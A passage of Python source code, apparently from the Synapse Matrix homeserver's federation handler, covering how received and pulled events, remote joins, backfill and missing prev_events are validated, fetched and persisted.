event. In particular, make\n # sure it doesn't have hundreds of prev_events or auth_events, which\n # could cause a huge state resolution or cascade of event fetches.\n try:\n self._sanity_check_event(pdu)\n except SynapseError as err:\n logger.warning(\"Received event failed sanity checks\")\n raise FederationError(\"ERROR\", err.code, err.msg, affected=pdu.event_id)\n\n # If we are currently in the process of joining this room, then we\n # queue up events for later processing.\n if room_id in self.room_queues:\n logger.info(\n \"Queuing PDU from %s for now: join in progress\",\n origin,\n )\n self.room_queues[room_id].append((pdu, origin))\n return\n\n # If we're not in the room just ditch the event entirely. This is\n # probably an old server that has come back and thinks we're still in\n # the room (or we've been rejoined to the room by a state reset).\n #\n # Note that if we were never in the room then we would have already\n # dropped the event, since we wouldn't know the room version.\n is_in_room = await self._event_auth_handler.is_host_in_room(\n room_id, self._server_name\n )\n if not is_in_room:\n logger.info(\n \"Ignoring PDU from %s as we're not in the room\",\n origin,\n )\n return None\n\n # Try to fetch any missing prev events to fill in gaps in the graph\n prevs = set(pdu.prev_event_ids())\n seen = await self._store.have_events_in_timeline(prevs)\n missing_prevs = prevs - seen\n\n if missing_prevs:\n # We only backfill backwards to the min depth.\n min_depth = await self._store.get_min_depth(pdu.room_id)\n logger.debug(\"min_depth: %d\", min_depth)\n\n if min_depth is not None and pdu.depth > min_depth:\n # If we're missing stuff, ensure we only fetch stuff one\n # at a time.\n logger.info(\n \"Acquiring room lock to fetch %d missing prev_events: %s\",\n len(missing_prevs),\n shortstr(missing_prevs),\n )\n async with self._room_pdu_linearizer.queue(pdu.room_id):\n logger.info(\n \"Acquired room lock to fetch %d missing prev_events\",\n len(missing_prevs),\n )\n\n try:\n await self._get_missing_events_for_pdu(\n origin, pdu, prevs, min_depth\n )\n except Exception as e:\n raise Exception(\n \"Error fetching missing prev_events for %s: %s\"\n % (event_id, e)\n ) from e\n\n # Update the set of things we've seen after trying to\n # fetch the missing stuff\n seen = await self._store.have_events_in_timeline(prevs)\n missing_prevs = prevs - seen\n\n if not missing_prevs:\n logger.info(\"Found all missing prev_events\")\n\n if missing_prevs:\n # since this event was pushed to us, it is possible for it to\n # become the only forward-extremity in the room, and we would then\n # trust its state to be the state for the whole room. This is very\n # bad. Further, if the event was pushed to us, there is no excuse\n # for us not to have all the prev_events. (XXX: apart from\n # min_depth?)\n #\n # We therefore reject any such events.\n logger.warning(\n \"Rejecting: failed to fetch %d prev events: %s\",\n len(missing_prevs),\n shortstr(missing_prevs),\n )\n raise FederationError(\n \"ERROR\",\n 403,\n (\n \"Your server isn't divulging details about prev_events \"\n \"referenced in this event.\"\n ),\n affected=pdu.event_id,\n )\n\n try:\n context = await self._state_handler.compute_event_context(pdu)\n await self._process_received_pdu(origin, pdu, context)\n except PartialStateConflictError:\n # The room was un-partial stated while we were processing the PDU.\n # Try once more, with full state this time.\n logger.info(\n \"Room %s was un-partial stated while processing the PDU, trying again.\",\n room_id,\n )\n context = await self._state_handler.compute_event_context(pdu)\n await self._process_received_pdu(origin, pdu, context)\n\n async def on_send_membership_event(\n self, origin: str, event: EventBase\n ) -> Tuple[EventBase, EventContext]:\n \"\"\"\n We have received a join/leave/knock event for a room via send_join/leave/knock.\n\n Verify that event and send it into the room on the remote homeserver's behalf.\n\n This is quite similar to on_receive_pdu, with the following principal\n differences:\n * only membership events are permitted (and only events with\n sender==state_key -- ie, no kicks or bans)\n * *We* send out the event on behalf of the remote server.\n * We enforce the membership restrictions of restricted rooms.\n * Rejected events result in an exception rather than being stored.\n\n There are also other differences, however it is not clear if these are by\n design or omission. In particular, we do not attempt to backfill any missing\n prev_events.\n\n Args:\n origin: The homeserver of the remote (joining/invited/knocking) user.\n event: The member event that has been signed by the remote homeserver.\n\n Returns:\n The event and context of the event after inserting it into the room graph.\n\n Raises:\n RuntimeError if any prev_events are missing\n SynapseError if the event is not accepted into the room\n PartialStateConflictError if the room was un-partial stated in between\n computing the state at the event and persisting it. The caller should\n retry exactly once in this case.\n \"\"\"\n logger.debug(\n \"on_send_membership_event: Got event: %s, signatures: %s\",\n event.event_id,\n event.signatures,\n )\n\n if get_domain_from_id(event.sender) != origin:\n logger.info(\n \"Got send_membership request for user %r from different origin %s\",\n event.sender,\n origin,\n )\n raise SynapseError(403, \"User not from origin\", Codes.FORBIDDEN)\n\n if event.sender != event.state_key:\n raise SynapseError(400, \"state_key and sender must match\", Codes.BAD_JSON)\n\n assert not event.internal_metadata.outlier\n\n # Send this event on behalf of the other server.\n #\n # The remote server isn't a full participant in the room at this point, so\n # may not have an up-to-date list of the other homeservers participating in\n # the room, so we send it on their behalf.\n event.internal_metadata.send_on_behalf_of = origin\n\n context = await self._state_handler.compute_event_context(event)\n await self._check_event_auth(origin, event, context)\n if context.rejected:\n raise SynapseError(\n 403, f\"{event.membership} event was rejected\", Codes.FORBIDDEN\n )\n\n # for joins, we need to check the restrictions of restricted rooms\n if event.membership == Membership.JOIN:\n await self.check_join_restrictions(context, event)\n\n # for knock events, we run the third-party event rules. It's not entirely clear\n # why we don't do this for other sorts of membership events.\n if event.membership == Membership.KNOCK:\n event_allowed, _ = await self._third_party_event_rules.check_event_allowed(\n event, context\n )\n if not event_allowed:\n logger.info(\"Sending of knock %s forbidden by third-party rules\", event)\n raise SynapseError(\n 403, \"This event is not allowed in this context\", Codes.FORBIDDEN\n )\n\n # all looks good, we can persist the event.\n\n # First, precalculate the joined hosts so that the federation sender doesn't\n # need to.\n await self._event_creation_handler.cache_joined_hosts_for_events(\n [(event, context)]\n )\n\n await self._check_for_soft_fail(event, context=context, origin=origin)\n await self._run_push_actions_and_persist_event(event, context)\n return event, context\n\n async def check_join_restrictions(\n self,\n context: UnpersistedEventContextBase,\n event: EventBase,\n ) -> None:\n \"\"\"Check that restrictions in restricted join rules are matched\n\n Called when we receive a join event via send_join.\n\n Raises an auth error if the restrictions are not matched.\n \"\"\"\n prev_state_ids = await context.get_prev_state_ids()\n\n # Check if the user is already in the room or invited to the room.\n user_id = event.state_key\n prev_member_event_id = prev_state_ids.get((EventTypes.Member, user_id), None)\n prev_membership = None\n if prev_member_event_id:\n prev_member_event = await self._store.get_event(prev_member_event_id)\n prev_membership = prev_member_event.membership\n\n # Check if the member should be allowed access via membership in a space.\n await self._event_auth_handler.check_restricted_join_rules(\n prev_state_ids,\n event.room_version,\n user_id,\n prev_membership,\n )\n\n @trace\n async def process_remote_join(\n self,\n origin: str,\n room_id: str,\n auth_events: List[EventBase],\n state: List[EventBase],\n event: EventBase,\n room_version: RoomVersion,\n partial_state: bool,\n ) -> int:\n \"\"\"Persists the events returned by a send_join\n\n Checks the auth chain is valid (and passes auth checks) for the\n state and event. Then persists all of the events.\n Notifies about the persisted events where appropriate.\n\n Args:\n origin: Where the events came from\n room_id:\n auth_events\n state\n event\n room_version: The room version we expect this room to have, and\n will raise if it doesn't match the version in the create event.\n partial_state: True if the state omits non-critical membership events\n\n Returns:\n The stream ID after which all events have been persisted.\n\n Raises:\n SynapseError if the response is in some way invalid.\n PartialStateConflictError if the homeserver is already in the room and it\n has been un-partial stated.\n \"\"\"\n create_event = None\n for e in state:\n if (e.type, e.state_key) == (EventTypes.Create, \"\"):\n create_event = e\n break\n\n if create_event is None:\n # If the state doesn't have a create event then the room is\n # invalid, and it would fail auth checks anyway.\n raise SynapseError(400, \"No create event in state\")\n\n room_version_id = create_event.content.get(\n \"room_version\", RoomVersions.V1.identifier\n )\n\n if room_version.identifier != room_version_id:\n raise SynapseError(400, \"Room version mismatch\")\n\n # persist the auth chain and state events.\n #\n # any invalid events here will be marked as rejected, and we'll carry on.\n #\n # any events whose auth events are missing (ie, not in the send_join response,\n # and not already in our db) will just be ignored. This is correct behaviour,\n # because the reason that auth_events are missing might be due to us being\n # unable to validate their signatures. The fact that we can't validate their\n # signatures right now doesn't mean that we will *never* be able to, so it\n # is premature to reject them.\n #\n await self._auth_and_persist_outliers(\n room_id, itertools.chain(auth_events, state)\n )\n\n # and now persist the join event itself.\n logger.info(\n \"Peristing join-via-remote %s (partial_state: %s)\", event, partial_state\n )\n with nested_logging_context(suffix=event.event_id):\n if partial_state:\n # When handling a second partial state join into a partial state room,\n # the returned state will exclude the membership from the first join. To\n # preserve prior memberships, we try to compute the partial state before\n # the event ourselves if we know about any of the prev events.\n #\n # When we don't know about any of the prev events, it's fine to just use\n # the returned state, since the new join will create a new forward\n # extremity, and leave the forward extremity containing our prior\n # memberships alone.\n prev_event_ids = set(event.prev_event_ids())\n seen_event_ids = await self._store.have_events_in_timeline(\n prev_event_ids\n )\n missing_event_ids = prev_event_ids - seen_event_ids\n\n state_maps_to_resolve: List[StateMap[str]] = []\n\n # Fetch the state after the prev events that we know about.\n state_maps_to_resolve.extend(\n (\n await self._state_storage_controller.get_state_groups_ids(\n room_id, seen_event_ids, await_full_state=False\n )\n ).values()\n )\n\n # When there are prev events we do not have the state for, we state\n # resolve with the state returned by the remote homeserver.\n if missing_event_ids or len(state_maps_to_resolve) == 0:\n state_maps_to_resolve.append(\n {(e.type, e.state_key): e.event_id for e in state}\n )\n\n state_ids_before_event = (\n await self._state_resolution_handler.resolve_events_with_store(\n event.room_id,\n room_version.identifier,\n state_maps_to_resolve,\n event_map=None,\n state_res_store=StateResolutionStore(self._store),\n )\n )\n else:\n state_ids_before_event = {\n (e.type, e.state_key): e.event_id for e in state\n }\n\n context = await self._state_handler.compute_event_context(\n event,\n state_ids_before_event=state_ids_before_event,\n partial_state=partial_state,\n )\n\n await self._check_event_auth(origin, event, context)\n if context.rejected:\n raise SynapseError(403, \"Join event was rejected\")\n\n # the remote server is responsible for sending our join event to the rest\n # of the federation. Indeed, attempting to do so will result in problems\n # when we try to look up the state before the join (to get the server list)\n # and discover that we do not have it.\n event.internal_metadata.proactively_send = False\n\n stream_id_after_persist = await self.persist_events_and_notify(\n room_id, [(event, context)]\n )\n\n return stream_id_after_persist\n\n async def update_state_for_partial_state_event(\n self, destination: str, event: EventBase\n ) -> None:\n \"\"\"Recalculate the state at an event as part of a de-partial-stating process\n\n Args:\n destination: server to request full state from\n event: partial-state event to be de-partial-stated\n\n Raises:\n FederationPullAttemptBackoffError if we are are deliberately not attempting\n to pull the given event over federation because we've already done so\n recently and are backing off.\n FederationError if we fail to request state from the remote server.\n \"\"\"\n logger.info(\"Updating state for %s\", event.event_id)\n with nested_logging_context(suffix=event.event_id):\n # if we have all the event's prev_events, then we can work out the\n # state based on their states. Otherwise, we request it from the destination\n # server.\n #\n # This is the same operation as we do when we receive a regular event\n # over federation.\n context = await self._compute_event_context_with_maybe_missing_prevs(\n destination, event\n )\n if context.partial_state:\n # this can happen if some or all of the event's prev_events still have\n # partial state. We were careful to only pick events from the db without\n # partial-state prev events, so that implies that a prev event has\n # been persisted (with partial state) since we did the query.\n #\n # So, let's just ignore `event` for now; when we re-run the db query\n # we should instead get its partial-state prev event, which we will\n # de-partial-state, and then come back to event.\n logger.warning(\n \"%s still has prev_events with partial state: can't de-partial-state it yet\",\n event.event_id,\n )\n return\n\n # since the state at this event has changed, we should now re-evaluate\n # whether it should have been rejected. We must already have all of the\n # auth events (from last time we went round this path), so there is no\n # need to pass the origin.\n await self._check_event_auth(None, event, context)\n\n await self._store.update_state_for_partial_state_event(event, context)\n self._state_storage_controller.notify_event_un_partial_stated(\n event.event_id\n )\n # Notify that there's a new row in the un_partial_stated_events stream.\n self._notifier.notify_replication()\n\n @trace\n async def backfill(\n self, dest: str, room_id: str, limit: int, extremities: StrCollection\n ) -> None:\n \"\"\"Trigger a backfill request to `dest` for the given `room_id`\n\n This will attempt to get more events from the remote. If the other side\n has no new events to offer, this will return an empty list.\n\n As the events are received, we check their signatures, and also do some\n sanity-checking on them. If any of the backfilled events are invalid,\n this method throws a SynapseError.\n\n We might also raise an InvalidResponseError if the response from the remote\n server is just bogus.\n\n TODO: make this more useful to distinguish failures of the remote\n server from invalid events (there is probably no point in trying to\n re-fetch invalid events from every other HS in the room.)\n \"\"\"\n if self._is_mine_server_name(dest):\n raise SynapseError(400, \"Can't backfill from self.\")\n\n events = await self._federation_client.backfill(\n dest, room_id, limit=limit, extremities=extremities\n )\n\n if not events:\n return\n\n with backfill_processing_after_timer.time():\n # if there are any events in the wrong room, the remote server is buggy and\n # should not be trusted.\n for ev in events:\n if ev.room_id != room_id:\n raise InvalidResponseError(\n f\"Remote server {dest} returned event {ev.event_id} which is in \"\n f\"room {ev.room_id}, when we were backfilling in {room_id}\"\n )\n\n await self._process_pulled_events(\n dest,\n events,\n backfilled=True,\n )\n\n @trace\n async def _get_missing_events_for_pdu(\n self, origin: str, pdu: EventBase, prevs: Set[str], min_depth: int\n ) -> None:\n \"\"\"\n Args:\n origin: Origin of the pdu. Will be called to get the missing events\n pdu: received pdu\n prevs: List of event ids which we are missing\n min_depth: Minimum depth of events to return.\n \"\"\"\n\n room_id = pdu.room_id\n event_id = pdu.event_id\n\n seen = await self._store.have_events_in_timeline(prevs)\n\n if not prevs - seen:\n return\n\n latest_frozen = await self._store.get_latest_event_ids_in_room(room_id)\n\n # We add the prev events that we have seen to the latest\n # list to ensure the remote server doesn't give them to us\n latest = seen | latest_frozen\n\n logger.info(\n \"Requesting missing events between %s and %s\",\n shortstr(latest),\n event_id,\n )\n\n # XXX: we set timeout to 10s to help workaround\n # https://github.com/matrix-org/synapse/issues/1733.\n # The reason is to avoid holding the linearizer lock\n # whilst processing inbound /send transactions, causing\n # FDs to stack up and block other inbound transactions\n # which empirically can currently take up to 30 minutes.\n #\n # N.B. this explicitly disables retry attempts.\n #\n # N.B. this also increases our chances of falling back to\n # fetching fresh state for the room if the missing event\n # can't be found, which slightly reduces our security.\n # it may also increase our DAG extremity count for the room,\n # causing additional state resolution? See https://github.com/matrix-org/synapse/issues/1760.\n # However, fetching state doesn't hold the linearizer lock\n # apparently.\n #\n # see https://github.com/matrix-org/synapse/pull/1744\n #\n # ----\n #\n # Update richvdh 2018/09/18: There are a number of problems with timing this\n # request out aggressively on the client side:\n #\n # - it plays badly with the server-side rate-limiter, which starts tarpitting you\n # if you send too many requests at once, so you end up with the server carefully\n # working through the backlog of your requests, which you have already timed\n # out.\n #\n # - for this request in particular, we now (as of\n # https://github.com/matrix-org/synapse/pull/3456) reject any PDUs where the\n # server can't produce a plausible-looking set of prev_events - so we becone\n # much more likely to reject the event.\n #\n # - contrary to what it says above, we do *not* fall back to fetching fresh state\n # for the room if get_missing_events times out. Rather, we give up processing\n # the PDU whose prevs we are missing, which then makes it much more likely that\n # we'll end up back here for the *next* PDU in the list, which exacerbates the\n # problem.\n #\n # - the aggressive 10s timeout was introduced to deal with incoming federation\n # requests taking 8 hours to process. It's not entirely clear why that was going\n # on; certainly there were other issues causing traffic storms which are now\n # resolved, and I think in any case we may be more sensible about our locking\n # now. We're *certainly* more sensible about our logging.\n #\n # All that said: Let's try increasing the timeout to 60s and see what happens.\n\n try:\n missing_events = await self._federation_client.get_missing_events(\n origin,\n room_id,\n earliest_events_ids=list(latest),\n latest_events=[pdu],\n limit=10,\n min_depth=min_depth,\n timeout=60000,\n )\n except (RequestSendFailed, HttpResponseException, NotRetryingDestination) as e:\n # We failed to get the missing events, but since we need to handle\n # the case of `get_missing_events` not returning the necessary\n # events anyway, it is safe to simply log the error and continue.\n logger.warning(\"Failed to get prev_events: %s\", e)\n return\n\n logger.info(\"Got %d prev_events\", len(missing_events))\n await self._process_pulled_events(origin, missing_events, backfilled=False)\n\n @trace\n async def _process_pulled_events(\n self, origin: str, events: Collection[EventBase], backfilled: bool\n ) -> None:\n \"\"\"Process a batch of events we have pulled from a remote server\n\n Pulls in any events required to auth the events, persists the received events,\n and notifies clients, if appropriate.\n\n Assumes the events have already had their signatures and hashes checked.\n\n Params:\n origin: The server we received these events from\n events: The received events.\n backfilled: True if this is part of a historical batch of events (inhibits\n notification to clients, and validation of device keys.)\n \"\"\"\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"event_ids\",\n str([event.event_id for event in events]),\n )\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"event_ids.length\",\n str(len(events)),\n )\n set_tag(SynapseTags.FUNC_ARG_PREFIX + \"backfilled\", str(backfilled))\n logger.debug(\n \"processing pulled backfilled=%s events=%s\",\n backfilled,\n [\n \"event_id=%s,depth=%d,body=%s,prevs=%s\\n\"\n % (\n event.event_id,\n event.depth,\n event.content.get(\"body\", event.type),\n event.prev_event_ids(),\n )\n for event in events\n ],\n )\n\n # Check if we already any of these have these events.\n # Note: we currently make a lookup in the database directly here rather than\n # checking the event cache, due to:\n # https://github.com/matrix-org/synapse/issues/13476\n existing_events_map = await self._store._get_events_from_db(\n [event.event_id for event in events]\n )\n\n new_events: List[EventBase] = []\n for event in events:\n event_id = event.event_id\n\n # If we've already seen this event ID...\n if event_id in existing_events_map:\n existing_event = existing_events_map[event_id]\n\n # ...and the event itself was not previously stored as an outlier...\n if not existing_event.event.internal_metadata.is_outlier():\n # ...then there's no need to persist it. We have it already.\n logger.info(\n \"_process_pulled_event: Ignoring received event %s which we \"\n \"have already seen\",\n event.event_id,\n )\n continue\n\n # While we have seen this event before, it was stored as an outlier.\n # We'll now persist it as a non-outlier.\n logger.info(\"De-outliering event %s\", event_id)\n\n # Continue on with the events that are new to us.\n new_events.append(event)\n\n set_tag(\n SynapseTags.RESULT_PREFIX + \"new_events.length\",\n str(len(new_events)),\n )\n\n @trace\n async def _process_new_pulled_events(new_events: Collection[EventBase]) -> None:\n # We want to sort these by depth so we process them and tell clients about\n # them in order. It's also more efficient to backfill this way (`depth`\n # ascending) because one backfill event is likely to be the `prev_event` of\n # the next event we're going to process.\n sorted_events = sorted(new_events, key=lambda x: x.depth)\n for ev in sorted_events:\n with nested_logging_context(ev.event_id):\n await self._process_pulled_event(origin, ev, backfilled=backfilled)\n\n # Check if we've already tried to process these events at some point in the\n # past. We aren't concerned with the expontntial backoff here, just whether it\n # has failed to be processed before.\n event_ids_with_failed_pull_attempts = (\n await self._store.get_event_ids_with_failed_pull_attempts(\n [event.event_id for event in new_events]\n )\n )\n\n events_with_failed_pull_attempts, fresh_events = partition(\n new_events, lambda e: e.event_id in event_ids_with_failed_pull_attempts\n )\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"events_with_failed_pull_attempts\",\n str(event_ids_with_failed_pull_attempts),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"events_with_failed_pull_attempts.length\",\n str(len(events_with_failed_pull_attempts)),\n )\n set_tag(\n SynapseTags.FUNC_ARG_PREFIX + \"fresh_events\",\n str([event.event_id for event in fresh_events]),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"fresh_events.length\",\n str(len(fresh_events)),\n )\n\n # Process previously failed backfill events in the background to not waste\n # time on something that is likely to fail again.\n if len(events_with_failed_pull_attempts) > 0:\n run_as_background_process(\n \"_process_new_pulled_events_with_failed_pull_attempts\",\n _process_new_pulled_events,\n events_with_failed_pull_attempts,\n )\n\n # We can optimistically try to process and wait for the event to be fully\n # persisted if we've never tried before.\n if len(fresh_events) > 0:\n await _process_new_pulled_events(fresh_events)\n\n @trace\n @tag_args\n async def _process_pulled_event(\n self, origin: str, event: EventBase, backfilled: bool\n ) -> None:\n \"\"\"Process a single event that we have pulled from a remote server\n\n Pulls in any events required to auth the event, persists the received event,\n and notifies clients, if appropriate.\n\n Assumes the event has already had its signatures and hashes checked.\n\n This is somewhat equivalent to on_receive_pdu, but applies somewhat different\n logic in the case that we are missing prev_events (in particular, it just\n requests the state at that point, rather than triggering a get_missing_events) -\n so is appropriate when we have pulled the event from a remote server, rather\n than having it pushed to us.\n\n Params:\n origin: The server we received this event from\n events: The received event\n backfilled: True if this is part of a historical batch of events (inhibits\n notification to clients, and validation of device keys.)\n \"\"\"\n logger.info(\"Processing pulled event %s\", event)\n\n # This function should not be used to persist outliers (use something\n # else) because this does a bunch of operations that aren't necessary\n # (extra work; in particular, it makes sure we have all the prev_events\n # and resolves the state across those prev events). If you happen to run\n # into a situation where the event you're trying to process/backfill is\n # marked as an `outlier`, then you should update that spot to return an\n # `EventBase` copy that doesn't have `outlier` flag set.\n #\n # `EventBase` is used to represent both an event we have not yet\n # persisted, and one that we have persisted and now keep in the cache.\n # In an ideal world this method would only be called with the first type\n # of event, but it turns out that's not actually the case and for\n # example, you could get an event from cache that is marked as an\n # `outlier` (fix up that spot though).\n assert not event.internal_metadata.is_outlier(), (\n \"Outlier event passed to _process_pulled_event. \"\n \"To persist an event as a non-outlier, make sure to pass in a copy without `event.internal_metadata.outlier = true`.\"\n )\n\n event_id = event.event_id\n\n try:\n self._sanity_check_event(event)\n except SynapseError as err:\n logger.warning(\"Event %s failed sanity check: %s\", event_id, err)\n await self._store.record_event_failed_pull_attempt(\n event.room_id, event_id, str(err)\n )\n return\n\n try:\n try:\n context = await self._compute_event_context_with_maybe_missing_prevs(\n origin, event\n )\n await self._process_received_pdu(\n origin,\n event,\n context,\n backfilled=backfilled,\n )\n except PartialStateConflictError:\n # The room was un-partial stated while we were processing the event.\n # Try once more, with full state this time.\n context = await self._compute_event_context_with_maybe_missing_prevs(\n origin, event\n )\n\n # We ought to have full state now, barring some unlikely race where we left and\n # rejoned the room in the background.\n if context.partial_state:\n raise AssertionError(\n f\"Event {event.event_id} still has a partial resolved state \"\n f\"after room {event.room_id} was un-partial stated\"\n )\n\n await self._process_received_pdu(\n origin,\n event,\n context,\n backfilled=backfilled,\n )\n except FederationPullAttemptBackoffError as exc:\n # Log a warning about why we failed to process the event (the error message\n # for `FederationPullAttemptBackoffError` is pretty good)\n logger.warning(\"_process_pulled_event: %s\", exc)\n # We do not record a failed pull attempt when we backoff fetching a missing\n # `prev_event` because not being able to fetch the `prev_events` just means\n # we won't be able to de-outlier the pulled event. But we can still use an\n # `outlier` in the state/auth chain for another event. So we shouldn't stop\n # a downstream event from trying to pull it.\n #\n # This avoids a cascade of backoff for all events in the DAG downstream from\n # one event backoff upstream.\n except FederationError as e:\n await self._store.record_event_failed_pull_attempt(\n event.room_id, event_id, str(e)\n )\n\n if e.code == 403:\n logger.warning(\"Pulled event %s failed history check.\", event_id)\n else:\n raise\n\n @trace\n async def _compute_event_context_with_maybe_missing_prevs(\n self, dest: str, event: EventBase\n ) -> EventContext:\n \"\"\"Build an EventContext structure for a non-outlier event whose prev_events may\n be missing.\n\n This is used when we have pulled a batch of events from a remote server, and may\n not have all the prev_events.\n\n To build an EventContext, we need to calculate the state before the event. If we\n already have all the prev_events for `event`, we can simply use the state after\n the prev_events to calculate the state before `event`.\n\n Otherwise, the missing prevs become new backwards extremities, and we fall back\n to asking the remote server for the state after each missing `prev_event`,\n and resolving across them.\n\n That's ok provided we then resolve the state against other bits of the DAG\n before using it - in other words, that the received event `event` is not going\n to become the only forwards_extremity in the room (which will ensure that you\n can't just take over a room by sending an event, withholding its prev_events,\n and declaring yourself to be an admin in the subsequent state request).\n\n In other words: we should only call this method if `event` has been *pulled*\n as part of a batch of missing prev events, or similar.\n\n Params:\n dest: the remote server to ask for state at the missing prevs. Typically,\n this will be the server we got `event` from.\n event: an event to check for missing prevs.\n\n Returns:\n The event context.\n\n Raises:\n FederationPullAttemptBackoffError if we are are deliberately not attempting\n to pull one of the given event's `prev_event`s over federation because\n we've already done so recently and are backing off.\n FederationError if we fail to get the state from the remote server after any\n missing `prev_event`s.\n \"\"\"\n room_id = event.room_id\n event_id = event.event_id\n\n prevs = set(event.prev_event_ids())\n seen = await self._store.have_events_in_timeline(prevs)\n missing_prevs = prevs - seen\n\n # If we've already recently attempted to pull this missing event, don't\n # try it again so soon. Since we have to fetch all of the prev_events, we can\n # bail early here if we find any to ignore.\n prevs_with_pull_backoff = (\n await self._store.get_event_ids_to_not_pull_from_backoff(\n room_id, missing_prevs\n )\n )\n if len(prevs_with_pull_backoff) > 0:\n raise FederationPullAttemptBackoffError(\n event_ids=prevs_with_pull_backoff.keys(),\n message=(\n f\"While computing context for event={event_id}, not attempting to \"\n f\"pull missing prev_events={list(prevs_with_pull_backoff.keys())} \"\n \"because we already tried to pull recently (backing off).\"\n ),\n retry_after_ms=(\n max(prevs_with_pull_backoff.values()) - self._clock.time_msec()\n ),\n )\n\n if not missing_prevs:\n return await self._state_handler.compute_event_context(event)\n\n logger.info(\n \"Event %s is missing prev_events %s: calculating state for a \"\n \"backwards extremity\",\n event_id,\n shortstr(missing_prevs),\n )\n # Calculate the state after each of the previous events, and\n # resolve them to find the correct state at the current event.\n\n try:\n # Determine whether we may be about to retrieve partial state\n # Events may be un-partial stated right after we compute the partial state\n # flag, but that's okay, as long as the flag errs on the conservative side.\n partial_state_flags = await self._store.get_partial_state_events(seen)\n partial_state = any(partial_state_flags.values())\n\n # Get the state of the events we know about\n ours = await self._state_storage_controller.get_state_groups_ids(\n room_id, seen, await_full_state=False\n )\n\n # state_maps is a list of mappings from (type, state_key) to event_id\n state_maps: List[StateMap[str]] = list(ours.values())\n\n # we don't need this any more, let's delete it.\n del ours\n\n # Ask the remote server for the states we don't\n # know about\n for p in missing_prevs:\n logger.info(\"Requesting state after missing prev_event %s\", p)\n\n with nested_logging_context(p):\n # note that if any of the missing prevs share missing state or\n # auth events, the requests to fetch those events are deduped\n # by the get_pdu_cache in federation_client.\n remote_state_map = (\n await self._get_state_ids_after_missing_prev_event(\n dest, room_id, p\n )\n )\n\n state_maps.append(remote_state_map)\n\n room_version = await self._store.get_room_version_id(room_id)\n state_map = await self._state_resolution_handler.resolve_events_with_store(\n room_id,\n room_version,\n state_maps,\n event_map={event_id: event},\n state_res_store=StateResolutionStore(self._store),\n )\n\n except Exception as e:\n logger.warning(\n \"Error attempting to resolve state at missing prev_events: %s\", e\n )\n raise FederationError(\n \"ERROR\",\n 403,\n \"We can't get valid state history.\",\n affected=event_id,\n )\n return await self._state_handler.compute_event_context(\n event, state_ids_before_event=state_map, partial_state=partial_state\n )\n\n @trace\n @tag_args\n async def _get_state_ids_after_missing_prev_event(\n self,\n destination: str,\n room_id: str,\n event_id: str,\n ) -> StateMap[str]:\n \"\"\"Requests all of the room state at a given event from a remote homeserver.\n\n Args:\n destination: The remote homeserver to query for the state.\n room_id: The id of the room we're interested in.\n event_id: The id of the event we want the state at.\n\n Returns:\n The event ids of the state *after* the given event.\n\n Raises:\n InvalidResponseError: if the remote homeserver's response contains fields\n of the wrong type.\n \"\"\"\n\n # It would be better if we could query the difference from our known\n # state to the given `event_id` so the sending server doesn't have to\n # send as much and we don't have to process as many events. For example\n # in a room like #matrix:matrix.org, we get 200k events (77k state_events, 122k\n # auth_events) from this call.\n #\n # Tracked by https://github.com/matrix-org/synapse/issues/13618\n (\n state_event_ids,\n auth_event_ids,\n ) = await self._federation_client.get_room_state_ids(\n destination, room_id, event_id=event_id\n )\n\n logger.debug(\n \"state_ids returned %i state events, %i auth events\",\n len(state_event_ids),\n len(auth_event_ids),\n )\n\n # Start by checking events we already have in the DB\n desired_events = set(state_event_ids)\n desired_events.add(event_id)\n logger.debug(\"Fetching %i events from cache/store\", len(desired_events))\n have_events = await self._store.have_seen_events(room_id, desired_events)\n\n missing_desired_event_ids = desired_events - have_events\n logger.debug(\n \"We are missing %i events (got %i)\",\n len(missing_desired_event_ids),\n len(have_events),\n )\n\n # We probably won't need most of the auth events, so let's just check which\n # we have for now, rather than thrashing the event cache with them all\n # unnecessarily.\n\n # TODO: we probably won't actually need all of the auth events, since we\n # already have a bunch of the state events. It would be nice if the\n # federation api gave us a way of finding out which we actually need.\n\n missing_auth_event_ids = set(auth_event_ids) - have_events\n missing_auth_event_ids.difference_update(\n await self._store.have_seen_events(room_id, missing_auth_event_ids)\n )\n logger.debug(\"We are also missing %i auth events\", len(missing_auth_event_ids))\n\n missing_event_ids = missing_desired_event_ids | missing_auth_event_ids\n\n set_tag(\n SynapseTags.RESULT_PREFIX + \"missing_auth_event_ids\",\n str(missing_auth_event_ids),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"missing_auth_event_ids.length\",\n str(len(missing_auth_event_ids)),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"missing_desired_event_ids\",\n str(missing_desired_event_ids),\n )\n set_tag(\n SynapseTags.RESULT_PREFIX + \"missing_desired_event_ids.length\",\n str(len(missing_desired_event_ids)),\n )\n\n # Making an individual request for each of 1000s of events has a lot of\n # overhead. On the other hand, we don't really want to fetch all of the events\n # if we already have most of them.\n #\n # As an arbitrary heuristic, if we are missing more than 10% of the events, then\n # we fetch the whole state.\n #\n # TODO: might it be better to have an API which lets us do an aggregate event\n # request\n if (len(missing_event_ids) * 10) >= len(auth_event_ids) + len(state_event_ids):\n logger.debug(\"Requesting complete state from remote\")\n await self._get_state_and_persist(destination, room_id, event_id)\n else:\n logger.debug(\"Fetching %i events from remote\", len(missing_event_ids))\n await self._get_events_and_persist(\n destination=destination, room_id=room_id, event_ids=missing_event_ids\n )\n\n # We now need to fill out the state map, which involves fetching the\n # type and state key for each event ID in the state.\n state_map = {}\n\n event_metadata = await self._store.get_metadata_for_events(state_event_ids)\n for state_event_id, metadata in event_metadata.items():\n if metadata.room_id != room_id:\n # This is a bogus situation, but since we may only discover it a long time\n # after it happened, we try our best to carry on, by just omitting the\n # bad events from the returned state set.\n #\n # This can happen if a remote server claims that the state or\n # auth_events at an event in room A are actually events in room B\n logger.warning(\n \"Remote server %s claims event %s in room %s is an auth/state \"\n \"event in room %s\",\n destination,\n state_event_id,\n metadata.room_id,\n room_id,\n )\n continue\n\n if metadata.state_key is None:\n logger.warning(\n \"Remote server gave us non-state event in state: %s\", state_event_id\n )\n continue\n\n state_map[(metadata.event_type, metadata.state_key)] = state_event_id\n\n # if we couldn't get the prev event in question, that's a problem.\n remote_event = await self._store.get_event(\n event_id,\n allow_none=True,\n allow_rejected=True,\n redact_behaviour=EventRedactBehaviour.as_is,\n )\n if not remote_event:\n raise 